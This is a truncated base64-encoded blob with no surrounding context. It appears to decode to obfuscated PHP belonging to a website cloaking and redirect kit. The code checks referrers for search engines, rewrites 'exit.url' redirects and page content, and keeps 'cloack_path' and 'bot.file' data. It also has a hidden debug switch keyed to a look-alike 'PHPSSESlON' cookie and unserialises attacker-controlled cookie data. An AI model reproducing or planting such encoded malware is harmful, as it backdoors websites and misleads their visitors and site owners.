Z1bmN0aW9uIHQxMjkoKXskdjE2Mz1fX19DXzQxOjp0ODEoKTskdjE2ND1AJF9HRVRbJ2F1dGhfdG9rZW5faWQnXTtyZXR1cm4kdjE2Mz09PSR2MTY0O31mdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjE2NSwkdjE2Nil7JHRoaXMtPnYxNjE9JHYxNjU7JHYxNjc9Jyc7aWYoc3RycG9zKCR2MTY2LCcvLycpPT09MDApeyR2MTY4PXN1YnN0cigkdjE2NiwwMik7JHYxNjk9ZXhwbG9kZSgnKycsJHYxNjgpOyR2MTcwPWFycmF5KCdodHRwOi8vJyk7Zm9yZWFjaCgkdjE2OSBhcyR2MTcxKXtpZihzdHJwb3MoJHYxNzEsJy4nKSE9PWZhbHNlKXtsaXN0KCR2MTcyLCR2MTczKT1leHBsb2RlKCcuJywkdjE3MSk7JHYxNzI9J18nLiR2MTcyOyR2MTc0PSQkdjE3MjskdjE3MFtdPSR2MTc0WyR2MTczXTt9ZWxzZXskdjE3MFtdPSR2MTcxO319JHYxNjc9am9pbignJywkdjE3MCk7fWlmKGVtcHR5KCR2MTY3KSYmJHYxNjYhPSctJyl7aWYoaXNzZXQoJF9TRVJWRVJbJHYxNjZdKSkkdjE2Nz0kX1NFUlZFUlskdjE2Nl07fWlmKGVtcHR5KCR2MTY3KSkkdjE2Nz0iaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyR0aGlzLT52MTYyPW5ldyBfX19DXzQyKCR2MTY3KTt9ZnVuY3Rpb24gdDE3KCl7aWYoaXNzZXQoJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdKSl7cmV0dXJuJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdO30kdjE3NT1AJF9TRVJWRVJbJHRoaXMtPnYxNjFdO2lmKGVtcHR5KCR2MTc1KSl0aHJvdyBuZXcgX19fQ18wKCdjYW5ub3QgcmVzb2x2ZSBpcCBieSBrZXk6ICcuJHRoaXMtPnYxNjEpO3JldHVybiR2MTc1O31mdW5jdGlvbiB0NDgoKXtpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pJiYhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSlyZXR1cm4kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107ZWxzZSBpZihAZ2V0ZW52KCdIVFRQX1JFRkVSRVInKSE9PWZhbHNlKXJldHVybiBnZXRlbnYoJ0hUVFBfUkVGRVJFUicpO2Vsc2UgcmV0dXJuJyc7fWZ1bmN0aW9uIHQxNSgpe3JldHVybiR0aGlzLT52MTYyO31mdW5jdGlvbiB0NDYoKXtyZXR1cm4gQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTt9ZnVuY3Rpb24gdDYwKCl7cmV0dXJuIHN0cl9yZXBsYWNlKCd3d3cuJywnJyxzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpO31zdGF0aWMgZnVuY3Rpb24gdDgoKXskdjcwPXNlbGY6OnQxMzAoKTtpZighZW1wdHkoJHY3MCkpeyR2NzM9QHBhcnNlX3VybCgkdjcwKTtpZighX19fQ180MTo6dDcyKCR2NzMpKXtyZXR1cm4gZmFsc2U7fX1pZighaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSlyZXR1cm4gZmFsc2U7cmV0dXJuIHRydWU7fXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHQxMzAoKXtpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pJiYhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSlyZXR1cm4kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107ZWxzZSBpZihAZ2V0ZW52KCdIVFRQX1JFRkVSRVInKSE9PWZhbHNlKXJldHVybiBnZXRlbnYoJ0hUVFBfUkVGRVJFUicpO2Vsc2UgcmV0dXJuJyc7fX1jbGFzcyBfX19DXzIxe3ByaXZhdGUkdjE3Njtwcml2YXRlJHYxNzc7cHJpdmF0ZSR2MTI7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYxNzgpeyR0aGlzLT52MTc2PSR2MTc4OyR2ODg9c3RyX3JlcGxhY2UoJ3d3dy4nLCcnLCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHRoaXMtPnYxNzc9X19fQ180MTo6dDczKCR2ODgpOyR0aGlzLT52MTI9X19fQ182Ojp0Mygnd2JtLXRyYWNrZXInKTt9ZnVuY3Rpb24gdDEzMSgpe2lmKCR0aGlzLT52MTc2WydlbmFibGVkJ10peyR2Nj1AJF9DT09LSUVbJHRoaXMtPnYxNzZbJ2Nvb2tpZV9uYW1lJ11dO2lmKCR2Nj09JHRoaXMtPnYxNzcpeyR0aGlzLT52MTItPnQ0KCJ3Ym0gZGV0ZWN0ZWQiKTtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gdDEzMigpe2lmKCR0aGlzLT52MTc2WydlbmFibGVkJ10peyR0aGlzLT52MTItPnQ0KCdzZXQgd2JtIGNvb2tpZScpO0BzZXRjb29raWUoJHRoaXMtPnYxNzZbJ2Nvb2tpZV9uYW1lJ10sJHRoaXMtPnYxNzcsKHRpbWUoKSswNzQqMDc0KjAzMCowNTU1KSwnLycpO319fWNsYXNzIF9fX0NfMzN7cHJpdmF0ZSR2MTE7cHJpdmF0ZSR2MTc5O2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2MTEwKXskdGhpcy0+djExPSR2MTEwOyR0aGlzLT52MTc5PSR0aGlzLT52MTEtPnQzMCgpOyR2NTQ9JHRoaXMtPnYxNzktPnQxMjQoKTtpZihlbXB0eSgkdjU0KSl0aHJvdyBuZXcgX19fQ18yKCdFUlJPUl9SRUFEX0NPTkZJRycpO31mdW5jdGlvbiB0MTEyKCl7JHY1ND0kdGhpcy0+dDEzMygpOyR0aGlzLT50MTM0KCR2NTQpOyR0aGlzLT50MTM1KCR2NTQpOyR0aGlzLT50MTM2KCR2NTQpOyR0aGlzLT50MTM3KCR2NTQpOyR0aGlzLT50MTM4KCR2NTQpO3JldHVybiR2NTQ7fWZ1bmN0aW9uIHQxMzMoKXtjbGVhcnN0YXRjYWNoZSgpOyR2MTgwPWluaV9nZXQoJ29wZW5fYmFzZWRpcicpOyR2MTgxPUBkaXNrX2ZyZWVfc3BhY2UoX19fREFUQURJUik7JHY1ND1hcnJheSgndmVyc2lvbic9PicnLl9fX1ZFUlNJT04sJ2NjJz0+JycuX19fQ0MsJ29zJz0+UEhQX09TLCdoZGRfZnJlZSc9PmZsb29yKCR2MTgxLzAyMDAwLzAyMDAwKSwnc2FmZV9tb2RlJz0+KGludClpbmlfZ2V0KCdzYWZlX21vZGUnKSwnb3Blbl9kaXJfcmVzY3RyaWN0Jz0+KGludCkhZW1wdHkoJHYxODApLCdjbG9hY2tfcGF0aCc9Pl9fX1BBVEgsJ2RhdGFkaXJfcGF0aCc9Pl9fX0RBVEFESVIsJ2xvYWRlcl9wYXRoJz0+X19fRklMRV9fLCdkb2Nyb290Jz0+QCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pO2lmKGRlZmluZWQoJ19fX1JFQUxET0NST09UJykpJHY1NFsncm9vdF9kaXInXT1fX19SRUFMRE9DUk9PVDskdjE4Mj0kdGhpcy0+djE3OS0+dDExNSgpOyR2NTRbJ2NvbmZpZ19uYW1lJ109JHYxODJbJ25hbWUnXTskdjU0Wydjb25maWdfdmVyc2lvbiddPSR2MTgyWyd2ZXJzaW9uJ107JHY1NFsndGltZSddPXN0cnZhbCh0aW1lKCkpOyR2NTRbJ2N1cmwuc3VwcG9ydCddPShmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKT8nWUVTJzonTk8nOyR2MTIxPV9fX0RBVEFESVIuJy9pbWctbG9nbzUucG5nJzskdjU0WyJoYXNfZXJyb3JzX2xvZyJdPShmaWxlX2V4aXN0cygkdjEyMSkpPydZRVMnOidOTyc7cmV0dXJuJHY1NDt9ZnVuY3Rpb24gdDEzNCgmJHY1NCl7JHY1NFsnUkVNT1RFX0FERFInXT0kX1NFUlZFUlsnUkVNT1RFX0FERFInXTskdjE4Mz0nTk8nO2lmKCRfU0VSVkVSWydSRU1PVEVfQUREUiddPT0nMTI3LjAuMC4xJyl7JHYxODM9J2xvY2FsaG9zdCc7fWVsc2VpZihpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkpe2lmKCRfU0VSVkVSWydSRU1PVEVfQUREUiddPT0kX1NFUlZFUlsnU0VSVkVSX0FERFInXSl7JHYxODM9J1NFUlZFUl9BRERSJzt9fSR2NTRbJ2lwLmNvbGxpc2lvbiddPSR2MTgzOyR2NTRbJ2lwLnJlbW90ZSddPSR0aGlzLT52MTEtPnQxNCgpLT50MTcoKTt9ZnVuY3Rpb24gdDEzNSgmJHY1NCl7JHYxODQ9JHRoaXMtPnYxMS0+dDU4KCk7JHYxODU9JHYxODQtPnQxMzkoKTskdjU0Wydib3QudmVyc2lvbiddPSR2MTg1Wyd2ZXJzaW9uJ107JHY5ND1fX19EQVRBRElSLicvJy4kdGhpcy0+djE3OS0+dDMxKCdib3QuZmlsZScpOyR2NTRbJ2JvdC5maWxlJ109KCR0aGlzLT50MTIxKCR2OTQpKT8nT0snOidFUlJPUiAocGVybWlzc2lvbnMpJzt9ZnVuY3Rpb24gdDEzNigmJHY1NCl7JHYxODY9YXJyYXkoJ2NvbmZpZy5maWxlJywncGFnZS5saW5rcy5maWxlJyk7Zm9yZWFjaCgkdjE4NiBhcyR2ODApeyR2OTQ9X19fREFUQURJUi4nLycuJHRoaXMtPnYxNzktPnQzMSgkdjgwKTtpZighJHRoaXMtPnQxMjEoJHY5NCkpeyR2NTRbJycuJHY4MF09J0VSUk9SIChwZXJtaXNzaW9ucyknO2NvbnRpbnVlO31pZighJHRoaXMtPnQxNDAoJHY5NCkpeyR2NTRbJycuJHY4MF09J0VSUk9SIChjcmMpJztjb250aW51ZTt9JHY1NFsnJy4kdjgwXT0nT0snO31yZXR1cm4kdjU0O31mdW5jdGlvbiB0MTM3KCYkdjU0KXskdjk0PV9fX0RBVEFESVIuJy8nLiR0aGlzLT52MTc5LT50MzEoJ3NzbC5maWxlJyk7JHY1NFsnc3NsLmZpbGUnXT0nT0snOyR2MTg3PW5ldyBfX19DXzEzKCR2OTQpO2lmKCEkdjE4Ny0+dDEyNygpKXJldHVybjtpZighaXNfd3JpdGFibGUoJHY5NCkpeyR2NTRbJ3NzbC5maWxlJ109J0VSUk9SIChwZXJtaXNzaW9ucyknO3JldHVybjt9dHJ5eyR2MTg4PSR2MTg3LT50MTIyKCk7fWNhdGNoKF9fX0NfMiR2MjMpeyR2NTRbJ3NzbC5maWxlJ109J0VSUk9SIChkYXRhKSc7fX1mdW5jdGlvbiB0MTM4KCYkdjU0KXskdjE4OT1nbG9iKF9fX0RBVEFESVIuJy9hbmltYXRpb25fKi5naWYnKTskdjE5MD0wMDtpZigkdjE4OSE9ZmFsc2Upe2ZvcmVhY2goJHYxODkgYXMkdjE5MSl7JHYxMzU9YmFzZW5hbWUoJHYxOTEpO2lmKCFwcmVnX21hdGNoKCcvXmFuaW1hdGlvbl8oWzAtOWEtZl17Mn0pXC5naWYkLycsJHYxMzUsJHYxOTIpKWNvbnRpbnVlOyR2MTkwKys7JHY4MD0ncGFnZS5maWxlLicuJHYxOTJbMDFdO2lmKCEkdGhpcy0+dDEyMSgkdjE5MSkpeyR2NTRbJHY4MF09J0VSUk9SIChwZXJtaXNzaW9ucyknO2NvbnRpbnVlO31pZighJHRoaXMtPnQxNDAoJHYxOTEpKXskdjU0WyR2ODBdPSdFUlJPUiAoY3JjKSc7Y29udGludWU7fSR2NTRbJHY4MF09J09LJzt9fSR2NTRbJ3BhZ2UuZmlsZS5jb3VudCddPSR2MTkwO31mdW5jdGlvbiB0MTIxKCR2NTcpeyR2MTM3PWZpbGVfZXhpc3RzKCR2NTcpJiZpc19yZWFkYWJsZSgkdjU3KSYmaXNfd3JpdGFibGUoJHY1Nyk7cmV0dXJuJHYxMzc7fWZ1bmN0aW9uIHQxNDAoJHYxOTEpeyR2MTg4PWZpbGVfZ2V0X2NvbnRlbnRzKCR2MTkxKTskdjE5Mz1zdWJzdHIoJHYxODgsMDAsMDEyKTskdjU0PXN1YnN0cigkdjE4OCwwMTIpOyR2NzY9X19fQ180MTo6dDc0KCR2NTQpO3JldHVybigkdjc2PT0kdjE5Myk7fX1jbGFzcyBfX19DXzMxe3ByaXZhdGUkdjE5NDtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjIxKXskdGhpcy0+djE5ND0kdjIxO31mdW5jdGlvbiB0MTQxKCR2OTMpeyR2MTc1PSR0aGlzLT52MTk0LT50MTcoKTskdjkzPXN0cl9yZXBsYWNlKCd7aXB9JywkdjE3NSwkdjkzKTskdjE5NT1zdHJfcmVwbGFjZSgnd3d3LicsJycsc3RydG9sb3dlcigkdGhpcy0+djE5NC0+dDYwKCkpKTskdjkzPXN0cl9yZXBsYWNlKCd7aG9zdH0nLCR2MTk1LCR2OTMpO3JldHVybiR2OTM7fX1jbGFzcyBfX19DXzExe2Z1bmN0aW9uIHQxNDIoJHY3MCl7JHYxOTY9JHRoaXMtPnQxNDMoJHY3MCk7cmV0dXJuICEoJHYxOTY9PT1mYWxzZSk7fWZ1bmN0aW9uIHQxNDMoJHY3MCl7aWYoZW1wdHkoJHY3MCkpcmV0dXJuIGZhbHNlOyR2MTk3PWFycmF5KCdnb29nbGUnLCdtc24nLCdsaXZlJywnYWx0YXZpc3RhJywnYXNrJywneWFob28nLCdhb2wnLCdiaW5nJywnc2V6bmFtJywnY29tY2FzdCcsJ3NpbWlsYXJzaXRlcycsJ2R1Y2tkdWNrZ28nLCdkb2dwaWxlJywnYmFpZHUnKTskdjczPUBwYXJzZV91cmwoJHY3MCk7JHYxOTY9ZmFsc2U7aWYoX19fQ180MTo6dDcyKCR2NzMpKXskdjg4PXN0cl9yZXBsYWNlKCd3d3cuJywnJyxzdHJ0b2xvd2VyKCR2NzNbJ2hvc3QnXSkpO2ZvcmVhY2goJHYxOTcgYXMkdjE5OCl7aWYoc3RycG9zKCR2ODgsJHYxOTgpIT09ZmFsc2UpeyR2MTk2PSR2MTk4O2JyZWFrO319fXJldHVybiR2MTk2O31mdW5jdGlvbiB0MTQ0KCR2OTMpe2lmKHByZWdfbWF0Y2goJyNbXD9cJl0oPzpxfHB8cXVlcnl8a2V5d29yZHMpPShbXiZdKykjaScsJHY5MywkdjE5OSkpeyR2MjAwPXVybGRlY29kZSgkdjE5OVswMV0pO3JldHVybiR2MjAwO31yZXR1cm4gZmFsc2U7fX1jbGFzcyBfX19DXzl7cHJpdmF0ZSR2MTE7cHJpdmF0ZSR2MTk0O3ByaXZhdGUkdjE3OTtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjExMCl7JHRoaXMtPnYxMT0kdjExMDskdGhpcy0+djE5ND0kdjExMC0+dDE0KCk7JHRoaXMtPnYxNzk9JHYxMTAtPnQzMCgpO31mdW5jdGlvbiB0MjkoKXskdjIxPSR0aGlzLT52MTEtPnQxNCgpO3JldHVybiR2MjEtPnQxMjkoKTt9ZnVuY3Rpb24gdDMyKCl7JHYyMDE9JHRoaXMtPnYxMS0+dDU5KCk7JHYyMDI9JHRoaXMtPnYxOTQtPnQxNSgpOyR2MjAzPSR2MjAxLT50MTQ1KCR2MjAyKTtpZigkdjIwMz09bnVsbCl0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbigncGFnZSBtZXRhIG5vdCBleGlzdHMnKTskdjIwND0kdGhpcy0+djExLT50NTUoKTskdjc9JHRoaXMtPnYxNzktPnQzMSgnZXhpdC51cmwnKTskdjc9JHRoaXMtPnQxNDYoJHY3KTskdjIwNT0kdjIwNC0+dDE0NygkdjcsJHYyMDMsYXJyYXkoKSk7JHYzMj0kdjIwNVswMF07JHYzMj0kdGhpcy0+dDE0NigkdjMyKTtyZXR1cm4kdjMyO31mdW5jdGlvbiB0MzQoKXskdjc9JHRoaXMtPnYxNzktPnQzMSgnZXhpdC51cmwnKTskdjc9JHRoaXMtPnQxNDYoJHY3KTskdjEyOD0kdGhpcy0+djExLT50NTYoKTskdjMzPSR2MTI4LT50MTIwKCR2Nyk7cmV0dXJuJHYzMzt9ZnVuY3Rpb24gdDM2KCR2MzIpeyR2MTI4PSR0aGlzLT52MTEtPnQ1NigpOyR2MzM9JHYxMjgtPnQxMjAoJHYzMik7cmV0dXJuJHYzMzt9ZnVuY3Rpb24gdDMzKCR2OTMpeyR2MjA2PSR0aGlzLT52MTEtPnQ2MSgpOyR2MjA2LT50MTQ4KCR2OTMpO31mdW5jdGlvbiB0MzUoJHYzMyl7JHYyMDc9JHRoaXMtPnYxNzktPnQzMSgnZXhpdC5jb250ZW50X3RyYW5zZm9ybXMnKTtmb3JlYWNoKCR2MjA3IGFzJHYyMDg9PiR2MjA5KXskdjMzPXByZWdfcmVwbGFjZSgkdjIwOCwkdjIwOSwkdjMzKTt9cHJpbnQoJHYzMyk7fXByaXZhdGUgZnVuY3Rpb24gdDE0NigkdjkzKXskdjIxMD0kdGhpcy0+dDE0OSgpOyR2MTQ4PWFycmF5KCk7JHYxNDhbJ2lwJ109JHRoaXMtPnYxOTQtPnQxNygpOyR2MTQ4Wyd1cmwnXT0kdGhpcy0+djE5NC0+dDE1KCktPnQxNigpOyR2MTQ4Wydob3N0J109JHRoaXMtPnYxOTQtPnQ2MCgpOztpZihpc19hcnJheSgkdjIxMCkpeyR2MTQ4WydyZWZlcmVyJ109QCR2MjEwWydyZWZlcmVyJ107JHYxNDhbJ2Z1bGxrZXknXT0kdjIxMFsnZnVsbGtleSddOyR2MTQ4WydxdWVyeSddPSR2MjEwWydxdWVyeSddOyR2MTQ4WydzZSddPSR2MjEwWydzZSddOyR2MTQ4WydrZXknXT0kdjIxMFsna2V5cm9vdCddOyR2MTQ4WydrZXlyb290J109JHYyMTBbJ2tleXJvb3QnXTt9Zm9yZWFjaCgkdjE0OCBhcyR2ODA9PiR2NikkdjkzPXN0cl9yZXBsYWNlKCJ7Ii4kdjgwLiJ9IixyYXd1cmxlbmNvZGUoJHY2KSwkdjkzKTskdjkzPXByZWdfcmVwbGFjZSgnL1x7W159XStcfS9zaScsJycsJHY5Myk7cmV0dXJuJHY5Mzt9cHJpdmF0ZSBmdW5jdGlvbiB0MTQ5KCl7JHYxNz1hcnJheSgpO2lmKGlzc2V0KCRfQ09PS0lFWydfX19jX2NfdHJfZGF0YSddKSl7JHYyMTE9QHVuc2VyaWFsaXplKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWydfX19jX2NfdHJfZGF0YSddKSkpOyR2MTc9JHYyMTE7fXJldHVybiR2MTc7fX1jbGFzcyBfX19DXzM2e2Z1bmN0aW9uIHQ2KCl7aWYoX19fQ19MX0RFQlVHPT10cnVlKXJldHVybiB0cnVlO3JldHVybigoaXNzZXQoJF9DT09LSUVbJ1BIUFNTRVNsT04nXSkmJiRfQ09PS0lFWydQSFBTU0VTbE9OJ109PV9fX0RFQlVHX0tFWV9fXyl8fHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sX19fREVCVUdfS0VZX19fKSE9PWZhbHNlKTt9ZnVuY3Rpb24gdDcoKXtyZXR1cm4oaXNzZXQoJF9DT09LSUVbJ1BIUFNTRVNTbE9OJ10pJiYkX0NPT0tJRVsnUEhQU1NFU1NsT04nXT09X19fREVCVUdfS0VZX19fKTt9fWNsYXNzIF9fX0NfNntwcml2YXRlIHN0YXRpYyR2MjEyPWFycmF5KCk7cHJpdmF0ZSBzdGF0aWMkdjIxMz1hcnJheSgpO3ByaXZhdGUkdjIxNDtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjIxNSl7JHRoaXMtPnYyMTQ9JHYyMTU7fXN0YXRpYyBmdW5jdGlvbiB0MygkdjIxNSl7aWYoIWlzc2V0KHNlbGY6OiR2MjEyWyR2MjE1XSkpc2VsZjo6JHYyMTJbJHYyMTVdPW5ldyBfX19DXzYoJHYyMTUpO3JldHVybiBzZWxmOjokdjIxMlskdjIxNV07fWZ1bmN0aW9uIHQxNTAoJHYyMTYsJHYyMTcsJHYzLCR2MjE4KXthcnJheV9zaGlmdCgkdjIxOCk7c2VsZjo6JHYyMTNbXT1hcnJheSgkdjIxNywkdjIxNiwkdjMsJHYyMTgpO31zdGF0aWMgZnVuY3Rpb24gdDUyKCl7JHYyMTk9YXJyYXkoKTtmb3JlYWNoKHNlbGY6OiR2MjEzIGFzJHYyMjApeyR2MjIxPSR2MjIwWzAxXTskdjM9JHYyMjBbMDJdOyR2MjE4PSR2MjIwWzAzXTtmb3IoJHY1PTAwOyR2NTxjb3VudCgkdjIxOCk7JHY1KyspeyR2Mz1zdHJfcmVwbGFjZSgneycuJHY1Lid9JywkdjIxOFskdjVdLCR2Myk7fSR2MjE5W109JycuJHYyMjBbMDBdLiI6XHRbIi4kdjIyMS4iXSA9PiAiLiR2Mzt9JHYyMTlbXT0iXG4tLS0tLS0tXG4iO2ZvcmVhY2goc2VsZjo6dDE1MSgpIGFzJHY4MD0+JHYyMjIpe2lmKGlzX2FycmF5KCR2MjIyKSl7JHYyMjI9anNvbl9lbmNvZGUoJHYyMjIpO30kdjIxOVtdPSR2ODAuIiA6ICIuJHYyMjI7fXJldHVybiR2MjE5O31zdGF0aWMgZnVuY3Rpb24gdDE1MSgpeyR2MjIyPWFycmF5KCdWRVJTSU9OJz0+X19fVkVSU0lPTiwnUEhQJz0+UEhQX1ZFUlNJT04sJ1JFRkVSRVInPT5AZ2V0ZW52KCdIVFRQX1JFRkVSRVInKSwnVVJMJz0+J2h0dHA6Ly8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7JHYyMjI9YXJyYXlfbWVyZ2UoJHYyMjIsJF9TRVJWRVIpO3JldHVybiR2MjIyO31zdGF0aWMgZnVuY3Rpb24gdDUwKCl7cmV0dXJuIGFycmF5KCdlbnYnPT5zZWxmOjp0MTUxKCksJ2xvZyc9PnNlbGY6OiR2MjEzKTt9c3RhdGljIGZ1bmN0aW9uIHQ1MSgpeyR2MjIzPWFycmF5KCk7Zm9yZWFjaChzZWxmOjokdjIxMyBhcyR2MjIwKXskdjIyMT0kdjIyMFswMV07JHYzPSR2MjIwWzAyXTskdjIxOD0kdjIyMFswM107Zm9yKCR2NT0wMDskdjU8Y291bnQoJHYyMTgpOyR2NSsrKXskdjM9c3RyX3JlcGxhY2UoJ3snLiR2NS4nfScsJHYyMThbJHY1XSwkdjMpO30kdjIyM1tdPWFycmF5KCdsZXZlbCc9PiR2MjIwWzAwXSwnbG9nZ2VyJz0+JHYyMjBbMDFdLCdtZXNzYWdlJz0+JHYzKTt9cmV0dXJuIGFycmF5KCdlbnYnPT5zZWxmOjp0MTUxKCksJ2xvZyc9PiR2MjIzKTt9ZnVuY3Rpb24gdDkoJHYzKXskdjQ9ZnVuY19nZXRfYXJncygpOyR0aGlzLT50MTUwKCR0aGlzLT52MjE0LCdFUlJPUicsJHYzLCR2NCk7fWZ1bmN0aW9uIHQ0KCR2Myl7JHY0PWZ1bmNfZ2V0X2FyZ3MoKTskdGhpcy0+dDE1MCgkdGhpcy0+djIxNCwnSU5GTycsJHYzLCR2NCk7fWZ1bmN0aW9uIHQxNTIoJHYzKXskdjQ9ZnVuY19nZXRfYXJncygpOyR0aGlzLT50MTUwKCR0aGlzLT52MjE0LCdERUJVRycsJHYzLCR2NCk7fWZ1bmN0aW9uIHQxMTkoJHYzKXskdjQ9ZnVuY19nZXRfYXJncygpOyR0aGlzLT50MTUwKCR0aGlzLT52MjE0LCdWRVJCJywkdjMsJHY0KTt9fWNsYXNzIF9fX0NfNDN7cHJpdmF0ZSR2MjI0O3ByaXZhdGUkdjIyNTtwcml2YXRlJHYyMjY7cHJpdmF0ZSR2MTI7cHJpdmF0ZSR2MjI3O2NvbnN0IGRlbGltPSckKiQqJztmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjk0LCR2MjI4PWZhbHNlKXskdGhpcy0+djIyND0kdjk0OyR0aGlzLT52MjI3PSR2MjI4OyR0aGlzLT52MTI9X19fQ182Ojp0MygnZmlsZScpO31mdW5jdGlvbiB0MTI3KCl7JHYyMjk9ZmlsZV9leGlzdHMoJHRoaXMtPnYyMjQpO2lmKCEkdjIyOSkkdGhpcy0+djEyLT50MTE5KCJmaWxlICd7MH0nIG5vdCBleGlzdCIsJHRoaXMtPnYyMjQpO3JldHVybiR2MjI5O31mdW5jdGlvbiB0MTUzKCl7Y2xlYXJzdGF0Y2FjaGUoKTtyZXR1cm4gQGZpbGVzaXplKCR0aGlzLT52MjI0KTt9ZnVuY3Rpb24gdDE1NCgkdjIzMCwkdjIzMT1mYWxzZSl7JHRoaXMtPnYyMjU9JHYyMzA7Y2xlYXJzdGF0Y2FjaGUoKTskdjU2PWRpcm5hbWUoJHRoaXMtPnYyMjQpO2lmKCFpc19kaXIoJHY1NikpQG1rZGlyKCR2NTYsMDc3Nyx0cnVlKTtpZighaXNfd3JpdGFibGUoJHY1NikpdGhyb3cgbmV3IF9fX0NfMSgiZGF0YSBkaXIgaXMgbm90IHdyaXRlYWJsZSAnezB9JyIsJHY1Nik7JHRoaXMtPnYyMjY9QGZvcGVuKCR0aGlzLT52MjI0LCR2MjMwKTtpZighJHRoaXMtPnYyMjYpdGhyb3cgbmV3IF9fX0NfMSgiY2Fubm90IG9wZW4gZmlsZSAnezB9JyIsJHRoaXMtPnYyMjQpO2lmKCR2MjMwPT0ncicpJHYyMzI9QGZsb2NrKCR0aGlzLT52MjI2LDAxKTtpZigkdjIzMFswMF09PSd3J3x8JHYyMzBbMDBdPT0nYScpJHYyMzI9QGZsb2NrKCR0aGlzLT52MjI2LDAyKTtpZighJHYyMzIpdGhyb3cgbmV3IF9fX0NfMSgiY2Fubm90IGxvY2sgZmlsZSAnezB9JyIsJHRoaXMtPnYyMjQpO31mdW5jdGlvbiB0MTU1KCR2MjMzPWZhbHNlLCR2MjM0PWZhbHNlKXtpZighJHRoaXMtPnYyMjYpdGhyb3cgbmV3IF9fX0NfMSgiZmlsZSAnezB9JyBpcyBub3Qgb3BlbiIsJHRoaXMtPnYyMjQpO2lmKCR0aGlzLT52MjI3JiYhJHYyMzQpe2ZzZWVrKCR0aGlzLT52MjI2LF9fX0NSQ19MRU5HVEhfX18sMDApO31lbHNleyR0aGlzLT50MTU2KCk7fSR0aGlzLT52MTItPnQxMTkoImxvYWQgZmlsZSAnezB9JyIsJHRoaXMtPnYyMjQpOyR2MTA1PUBmcmVhZCgkdGhpcy0+djIyNixmaWxlc2l6ZSgkdGhpcy0+djIyNCkpO2lmKCR2MjMzKXtpZigkdjIzNCYmZW1wdHkoJHYxMDUpKXJldHVybiBhcnJheSgpO2lmKHN0cmxlbigkdjEwNSk9PTAwKXJldHVybicnO31pZigkdjIzNCl7JHYyMzU9ZXhwbG9kZShzZWxmOjpkZWxpbSwkdjEwNSk7aWYoY291bnQoJHYyMzUpPT0wMClyZXR1cm4gYXJyYXkoKTthcnJheV9wb3AoJHYyMzUpOyR2NTQ9YXJyYXkoKTtmb3JlYWNoKCR2MjM1IGFzJHYyMzYpeyR2MTE2PUB1bnNlcmlhbGl6ZShnemluZmxhdGUoJHYyMzYpKTtpZigkdjExNj09PWZhbHNlKXRocm93IG5ldyBfX19DXzIoJ0ZhaWxlZCBkZWNvZGUgZXJyb3IgaXRlbScpOyR2NTRbXT0kdjExNjt9fWVsc2UgJHY1ND0kdGhpcy0+dDc3KCR2MTA1KTtpZigkdjU0PT09ZmFsc2UpdGhyb3cgbmV3IF9fX0NfMigiaW52YWxpZCBkYXRhIGluIGZpbGUgJ3swfSciLCR0aGlzLT52MjI0KTtyZXR1cm4kdjU0O31mdW5jdGlvbiB0MTIyKCR2MjMzPWZhbHNlLCR2MjM0PWZhbHNlKXt0cnl7JHRoaXMtPnQxNTQoJ3InKTskdjU0PSR0aGlzLT50MTU1KCR2MjMzLCR2MjM0KTskdGhpcy0+dDE1NygpO3JldHVybiR2NTQ7fWNhdGNoKEV4Y2VwdGlvbiR2MjMpeyR0aGlzLT50MTU3KCk7dGhyb3cgJHYyMzt9fWZ1bmN0aW9uIHQxMTYoJHY1NCl7aWYoISR0aGlzLT52MjI2KXRocm93IG5ldyBfX19DXzEoImZpbGUgJ3swfScgaXMgbm90IG9wZW4iLCR0aGlzLT52MjI0KTtpZighJHRoaXMtPnQxNTgoKSYmIUBmdHJ1bmNhdGUoJHRoaXMtPnYyMjYsMDApKXRocm93IG5ldyBfX19DXzEoImZpbGUgJ3swfScgbm90IHRydW5jYXRlZCIsJHRoaXMtPnYyMjQpOyR2MjM3PSR0aGlzLT50MTU5KCR2NTQpO2lmKCR0aGlzLT50MTU4KCkpJHYyMzcuPXNlbGY6OmRlbGltOyR0aGlzLT50MTU2KCk7aWYoISR0aGlzLT50MTU4KCkmJiR0aGlzLT52MjI3KXskdjc2PV9fX0NfNDE6OnQ3NCgkdjIzNyk7JHYyMzc9JHY3Ni4kdjIzNzt9aWYoIWZ3cml0ZSgkdGhpcy0+djIyNiwkdjIzNykpdGhyb3cgbmV3IF9fX0NfMSgiZmlsZSAnezB9JyB3cml0ZSBmYWlsZWQiLCR0aGlzLT52MjI0KTskdGhpcy0+djEyLT50NCgiIHNhdmUgZ